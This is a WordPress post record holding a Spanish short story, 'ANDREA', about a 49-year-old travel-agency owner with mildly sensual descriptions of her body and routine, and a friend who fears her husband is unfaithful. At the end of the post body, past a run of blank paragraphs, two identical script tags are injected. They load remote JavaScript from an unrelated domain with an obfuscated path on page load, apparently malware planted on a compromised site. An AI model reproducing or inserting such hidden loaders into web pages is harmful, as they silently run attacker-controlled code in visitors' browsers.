{"id":57,"date":"2014-10-19T21:58:34","date_gmt":"2014-10-20T02:58:34","guid":{"rendered":"http:\/\/lapulguia.mx\/wp\/?p=57"},"modified":"2025-10-21T07:50:10","modified_gmt":"2025-10-21T13:50:10","slug":"andrea","status":"publish","type":"post","link":"https:\/\/lapulguia.mx\/wp\/?p=57","title":{"rendered":"ANDREA"},"content":{"rendered":"<p><a href=\"http:\/\/lapulguia.mx\/wp\/wp-content\/uploads\/2014\/10\/ANDREA.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-58\" src=\"http:\/\/lapulguia.mx\/wp\/wp-content\/uploads\/2014\/10\/ANDREA-300x224.jpg\" alt=\"ANDREA\" width=\"300\" height=\"224\" srcset=\"https:\/\/lapulguia.mx\/wp\/wp-content\/uploads\/2014\/10\/ANDREA-300x224.jpg 300w, https:\/\/lapulguia.mx\/wp\/wp-content\/uploads\/2014\/10\/ANDREA-1024x767.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><strong>Alex Goodman<\/strong><\/p>\n<p>El oto\u00f1o ya se dejaba sentir. Por momentos el sol era radiante, pleno. Pero el viento era frio, y la nubosidad se empe\u00f1aba en aparecer, haciendo que los cambios de temperatura fuesen m\u00e1s bruscos de lo acostumbrado.<\/p>\n<p>Aquella ma\u00f1ana, Andrea se levant\u00f3 como era su costumbre: Muy temprano. El despertador azul de la mesita de noche le indicaba que eran ya las 5 de la ma\u00f1ana, y el d\u00eda deb\u00eda empezar. Extendi\u00f3 su mano y apag\u00f3 el zumbido de la alarma, al tiempo que intentaba despertar.<\/p>\n<p>Camino unos pocos pasos para entrar a su ba\u00f1o. Realmente era ah\u00ed donde empezaba a despertar. Si mir\u00f3, como siempre, al espejo y not\u00f3 que hab\u00eda un poco m\u00e1s de canas que ayer, y su tinte deber\u00eda ser retocado lo antes posible. Eran muy pocas, pero no le gustaba sentirse as\u00ed. Por ello, segu\u00eda su rutina de observar sus senos ante el espejo. Estaba enamorada de ellos, grandes, redondos, con unos pezones que le gustaban mucho a ella, y que acariciaba fervientemente al acostarse cada noche. Su cuerpo, realmente le gustaba. No era esbelta, para sus 49 a\u00f1os, pero tampoco obesa. Pesaba 76 kg. Para muchas, estaba gorda. Pere ella, estaba bien. Para muchos: Ten\u00eda la consistencia perfecta mezclada de sensualidad, volumen, y firmeza.<\/p>\n<p>Abri\u00f3 su regadera. El agua caliente empez\u00f3 el delicado transito por su piel, y sus sensaciones se hicieron m\u00e1s vivas. Ahora s\u00ed estaba despierta. Not\u00f3 con una sonrisa que sus pezones se ergu\u00edan firmes al contacto con el agua, y disfrutaba \u00e9sa sensaci\u00f3n. Lo mismo que el acariciar su bajo vientre ante la humedad y temperatura del agua. Andrea es en esencia, una mujer normal, ardiente, c\u00e1lida, y emocional.<\/p>\n<p>Disfrut\u00f3 su ba\u00f1o, y se enfund\u00f3 en su bata favorita. \u00c9sa bata color rosa que hab\u00eda comprado en su \u00faltimo viaje a Houston, y que le hab\u00eda enamorado a primera vista en aquella tienda de la avenida 36. Siempre hab\u00eda querido tener una as\u00ed, c\u00e1lida, suave, de \u00e9se dulce rosa-salm\u00f3n, sin grandes adornos, y cuello satinado. Ven\u00eda con sus pantuflas a juego. Todo ello, lo disfrutaba al tiempo que alguna tonada se ven\u00eda a su mente. Adora cantar.<\/p>\n<p>&nbsp;<\/p>\n<p>Su caf\u00e9 estaba listo. Pan tostado, mantequilla, papaya, sand\u00eda y yogurt. Miel de abeja, y granola. Todo lo que apetec\u00eda para un desayuno energ\u00e9tico que le dar\u00eda fuerzas hasta el mediod\u00eda, en el traj\u00edn de su agencia de viajes. Como propietaria, deb\u00eda poner ejemplo en muchas de sus actividades.<\/p>\n<p>El viaje al closet era m\u00e1s demoledor. Como cada ma\u00f1ana, se sent\u00eda atrapada de su guardarropa, que era extenso. Pero a ella le parec\u00eda, como a la mayor\u00eda de las mujeres, que \u201cno ten\u00eda nada que ponerse\u201d. Escogi\u00f3 un traje discreto, en azul marino, con una blusa a rayas grises y blancas. As\u00ed, sin grandes escotes, su traje de ejecutiva marcaba su silueta sin ense\u00f1ar piel, pero dejaba so\u00f1ar a los m\u00e1s observadores, que su ropa interior era m\u00e1s an\u00edmicamente seleccionada. Su coordinado blanco, de encajes suaves, no lograba ocultar el contorno de sus pezones del todo. Y su pubis, depilado cuidadosamente cada semana o m\u00e1s, se adornaba con una tanga discreta, que efectivamente adornaba \u00e9sa parte de su cuerpo.<\/p>\n<p>Maquillarse es para Andrea una r\u00e1pida experiencia matinal, porque no requiere de grandes trucos para verse perfecta. Su cutis se mantiene lozano, perfecto, gracias a su cuidada nutrici\u00f3n y ejercicios, y su sonrisa siempre est\u00e1 presente. As\u00ed, en poco tiempo, estaba lista para salir al trabajo.<\/p>\n<p>Su auto blanco era tambi\u00e9n un adorno a su belleza. El auto era su cajita de cristal, o su aparador, donde Andrea se pasea por el mundo, y al mismo tiempo parte de su oficina. No es la cl\u00e1sica mujer que habla por tel\u00e9fono todo el tiempo, sino que medita sobre su vida actual mientras conduce, y toma decisiones de su negocio. El auto, limpio, impecable, que siempre quer\u00eda poseer: Un Chrysler 300 modelo 2012, Blanco con interiores en piel negros.<\/p>\n<p>Al llegar al edificio de su oficina, se estaciona con cuidado. Abre la puerta del auto, y siempre sonriente, camina con gracia hacia su oficina. Sus tacones marcan el ritmo. Sus caderas marcan su influencia, y le dan seguridad en su entorno. Andrea siente sus movimientos corporales como un baile en el que disfruta el contacto con el viento, y las miradas de los curiosos.<\/p>\n<p>Al entrar a su oficina, se transforma en una ejecutiva brillante, sonriente, amable. Sus clientes la buscan porque siempre tiene una soluci\u00f3n a sus problemas, o una buena recomendaci\u00f3n para ellos. Sus empleadas en la agencia, j\u00f3venes, y mayores, siempre tratan de seguir su ejemplo.<\/p>\n<p>Sonr\u00ede una vez m\u00e1s al llegar a su escritorio, y observa la flor que cada ma\u00f1ana sus asistentes colocan como bienvenida. La jornada est\u00e1 por comenzar\u2026Y yo, no puedo seguirla observando\u2026<\/p>\n<p>NO SABE LO QUE CAUSA<\/p>\n<p>El d\u00eda normal de Andrea es lo m\u00e1s alejado de la rutina, pues siempre suceden inesperados momentos en su Agencia que la hacen mantenerse alerta. Trata siempre de mantener un clima de cordialidad y apertura entre sus empleados, y clientes, lo cual ha prestigiado a su Agencia como una de las m\u00e1s serviciales en el mercado regional. Todo ello, producto de su visi\u00f3n para los negocios, y la cordialidad de su trato.<\/p>\n<p>Sin embargo, esa ma\u00f1ana no era com\u00fan. El sol comenzaba a sentirse c\u00e1lido, pese al viento fresco y suave del exterior. El saco azul marino escogido durante su viaje al closet, ya yac\u00eda en el perchero y su blusa dejaba mostrar sutilmente el encaje de su bra, y el volumen de sus senos. Nada fuera de su lugar. Nada fuera de lo com\u00fan.<\/p>\n<p>Andrea revisaba su Estado de resultados del mes pasado cuando recibi\u00f3 la llamada de su asistente, Gabriela, quien le informaba que le buscaba su amiga Miriam. Andrea se turb\u00f3 por un momento, y accedi\u00f3 a recibir la visita. Cerr\u00f3 el folder con los documentos en su laptop, y se dio una r\u00e1pida mirada al espejo para comprobar su aspecto, que siempre es impecable.<\/p>\n<p>&#8211; Hola coraz\u00f3n. Le dijo Miriam, al tiempo que extend\u00eda los brazos para abrazarla.<\/p>\n<p>&#8211; Hola Miriam. Respondi\u00f3<\/p>\n<p>No recordaba con exactitud la fecha de su \u00faltima cita con Miriam, pero deb\u00eda ser algo m\u00e1s de tres meses. Miriam era la esposa de un muy buen cliente de su agencia, y hab\u00eda empezado a entretejer una buena relaci\u00f3n con Miriam a ra\u00edz de manejar la agenda de eventos y viajes de la compa\u00f1\u00eda. Eventos que en muchos casos, organizaba Miriam.<\/p>\n<p>Era alta, exuberante, desenvuelta, p\u00edcara. Tal vez el estereotipo contrario a Andrea. Pero se entend\u00edan a la perfecci\u00f3n, y juntas hab\u00edan tenido muy buenas experiencias en la organizaci\u00f3n de eventos, y ahora se planeaba incluso un lanzamiento publicitario multiregional. Por ello, y ante el buen negocio que ello pod\u00eda representar, Andrea hab\u00eda accedido a iniciar la planeaci\u00f3n del estudio.<\/p>\n<p>&#8211; No vengo a hablar de negocios, Andrea. Necesito de tus consejos como mujer. Le dijo.<\/p>\n<p>Andrea se sorprendi\u00f3 un poco de escuchar aquellas palabras de quien cre\u00eda una mujer completa, satisfecha, y feliz. Siempre se lo hab\u00eda parecido as\u00ed.<\/p>\n<p>&#8211; Mi esposo tiene una amante, Andrea. Estoy segura de ello. T\u00fa sabes que \u00e9l es ardiente en extremo, o al menos lo era, porque desde hace dos semanas, apenas y me toca. Me le insin\u00fao como siempre, o m\u00e1s que siempre, y nada. Estoy segura que una de \u00e9sas asistentes de las que se rodea, jovencitas, ya se enred\u00f3 con \u00e9l. Puedes creerlo?<\/p>\n<p>No era f\u00e1cil para Andrea asimilarlo, as\u00ed tan de golpe. Si bien, los conoc\u00eda a ambos, no cre\u00eda que su esposo fuera una persona as\u00ed. Trat\u00f3 de recordar al grupo de j\u00f3venes que llevaban la publicidad, la agenda, los servicios, etc. De la compa\u00f1\u00eda del esposo de Miriam, pero no encontr\u00f3 una que diera el tipo de \u201cmujer cazadora\u201d de millonarios.<\/p>\n<p>&#8211; Miriam. No lo puedo creer. Y es m\u00e1s, creo que te est\u00e1s adelantando en tus juicios. Ni siquiera tienes pruebas que puedan argumentar s\u00f3lidamente lo que dices.<\/p>\n<p>Apenas escuch\u00f3 eso, Miriam se quit\u00f3 el vestido y le dijo: -Andrea: T\u00fa crees que mis encantos ya no son lo suficientemente seductores?<\/p>\n<p>Miriam era en extremo exuberante, sensual, y \u00e9sa ma\u00f1ana luc\u00eda una lencer\u00eda muy cara, que le favorec\u00eda en color, textura, y al ser cuidadosamente seleccionada, resaltaba enormemente los pechos voluminosos y bien cuidados, de Miriam. Descubr\u00eda su cintura, breve para sus 45 a\u00f1os, y un vientre poco abultado producto del ejercicio, y de tres hijos. El perfil era muy atractivo. Pero para Miriam ya no lo era tanto.<\/p>\n<p>Miriam sollozaba cont\u00e1ndole a Andrea sus presentimientos, el advenimiento de su ruina como mujer, el sentirse sustituida, enga\u00f1ada, y el desconcierto sobre c\u00f3mo iba a enfrentar su futuro. Ya hac\u00eda planes para vivir sola, cuando Andrea la interrumpi\u00f3:<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Miriam. Acaso no est\u00e1s yendo demasiado lejos? Me acabas de decir que \u201csospechas\u201d de tu marido, pero no que te haya pedido el divorcio, o que lo hayas sorprendido poni\u00e9ndote el cuerno. Qu\u00e9 te dice \u00e9l?<\/p>\n<p>Baj\u00f3 la mirada. No supo que contestar.<\/p>\n<p>Tal vez Andrea ten\u00eda raz\u00f3n, pens\u00f3. Por qu\u00e9 hab\u00eda actuado as\u00ed? No lo sab\u00eda. Pero su impulso al sentirse poco atractiva, producto de que en dos semanas no hayan hecho el amor, la hab\u00eda hecho transportarse a otra realidad, que, parad\u00f3jicamente, no era la realidad.<\/p>\n<p>Andrea, pacientemente, le explic\u00f3 que muchos hombres dejan de tener relaciones con sus esposas cuando tienen un problema de trabajo, o estr\u00e9s, o simplemente se sienten cansados, o abatidos por alg\u00fan malestar f\u00edsico, o hasta cuando una cana aparece de pronto en sus sienes. Pero, cuando la comunicaci\u00f3n no fluye, la mujer inmediatamente piensa que hay \u201cotra\u201d en su panorama, y eso trae una reacci\u00f3n en cadena de malos pensamientos que, en muchas mujeres, las lleva a alejarse de la realidad. Por ello, le ped\u00eda que primero hablara con su marido antes de seguir imaginando los posibles escenarios.<\/p>\n<p>Miriam se sinti\u00f3 aliviada de un gran peso. Abraz\u00f3 a su amiga. Se visti\u00f3 de prisa, y le agradeci\u00f3 sus palabras.<\/p>\n<p>Para Andrea era f\u00e1cil identificar que no hab\u00eda tal problema, porque ten\u00eda la frialdad para analizar todo el entorno, y porque m\u00e1s de alguna vez le hab\u00edan dicho que reaccionaba como pocas mujeres lo pueden hacer: Eliminando sus emociones, cuando se le presentaba un problema. As\u00ed, la ardiente Andrea de su espacio \u00edntimo, se convert\u00eda en la fr\u00eda ejecutiva en el espacio de su oficina, y viceversa. Ella amaba ambos roles. Cada uno a su tiempo. Cada uno lo ejecutaba a la perfecci\u00f3n.<\/p>\n<p>DE VUELTA A LA CALMA<\/p>\n<p>Tom\u00f3 con delicadeza el vaso de agua mineral que se posaba sobre su escritorio. Volvi\u00f3 a darle una mirada a su flor, para comprobar que a\u00fan estaba preciosa. Y respir\u00f3 profundamente. Ahora pens\u00f3: El marido de Miriam era un exitoso empresario, y bastante guapo. Ser\u00eda capaz de enga\u00f1ar a Miriam ? Habr\u00eda alguien que le pudiera dar m\u00e1s informaci\u00f3n?<\/p>\n<p>Record\u00f3 que Graciela, la asistente de Mauricio, el esposo de Miriam, alguna vez le hab\u00eda dado informaci\u00f3n sobre la forma de pensar de su jefe, y que Andrea hab\u00eda plasmado enteramente en las presentaciones que hac\u00eda para el manejo de \u00e9sa cuenta. As\u00ed que no dud\u00f3 en llamarla y preguntarle directamente: Sab\u00eda si su jefe tendr\u00eda una amante ?<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 No Andrea. No conozco nada sobre alg\u00fan posible asunto de \u00e9se tipo. No recibo llamadas extra\u00f1as, o que \u00e9l me haya comentado. Le coment\u00f3 Graciela.<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Pero, ni siquiera alguna persona que le visite alguna vez, que no haya tenido que ver nada estrictamente con los negocios ?<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Pues\u2026 No recuerdo. Pero d\u00e9jeme pensar un poco, y yo le llamo si encuentro algo que me llame la atenci\u00f3n respecto a eso.<\/p>\n<p>Andrea se qued\u00f3 m\u00e1s tranquila. Volvi\u00f3 a sus actividades.<\/p>\n<p>Ya por la noche, se prepar\u00f3 para salir de la oficina, pasar al supermercado por algunas pocas provisiones que recordaba le hac\u00edan falta en su alacena y refrigerador, y, sin perder su estilo, sent\u00eda como muchas miradas se posaban sobre ella. Pese a que su atuendo discreto, ejecutivo, en su traje sastre azul marino, no dejaba mucha piel a la vista, segu\u00eda siendo una mujer encantadoramente sensual, y lo sab\u00eda.<\/p>\n<p>Al llegar a su cama, segu\u00eda persigui\u00e9ndola el tema de Miriam, pero las preguntas se hac\u00edan ahora m\u00e1s recurrentes en su mente:<\/p>\n<p>Miriam era voluptuosa, cachonda, sensible, y dependiente de su hombre. Estaba casada, y se dec\u00eda enga\u00f1ada, sin haberlo comprobado.<\/p>\n<p>Ella era sensual, elegante, exitosa, y admirada en extremo por los hombres a su paso. Se sent\u00eda segura de s\u00ed misma, pero estaba ah\u00ed, en su cama, sola, cada noche.<\/p>\n<p>Cu\u00e1l de las dos era mas infeliz?&#8230;Se repet\u00eda en su interior\u2026<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Alex Goodman El oto\u00f1o ya se dejaba sentir. Por momentos el sol era radiante, pleno. Pero el viento era frio, y la nubosidad se empe\u00f1aba en aparecer, haciendo que los cambios de temperatura fuesen m\u00e1s bruscos de lo acostumbrado. Aquella ma\u00f1ana, Andrea se levant\u00f3 como era su costumbre: Muy temprano. El despertador azul de la &hellip; <a href=\"https:\/\/lapulguia.mx\/wp\/?p=57\" class=\"more-link\">Seguir leyendo <span class=\"screen-reader-text\">ANDREA<\/span> <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[12],"tags":[26],"_links":{"self":[{"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/posts\/57"}],"collection":[{"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=57"}],"version-history":[{"count":3,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/posts\/57\/revisions"}],"predecessor-version":[{"id":3341,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/posts\/57\/revisions\/3341"}],"wp:attachment":[{"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=57"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=57"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=57"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}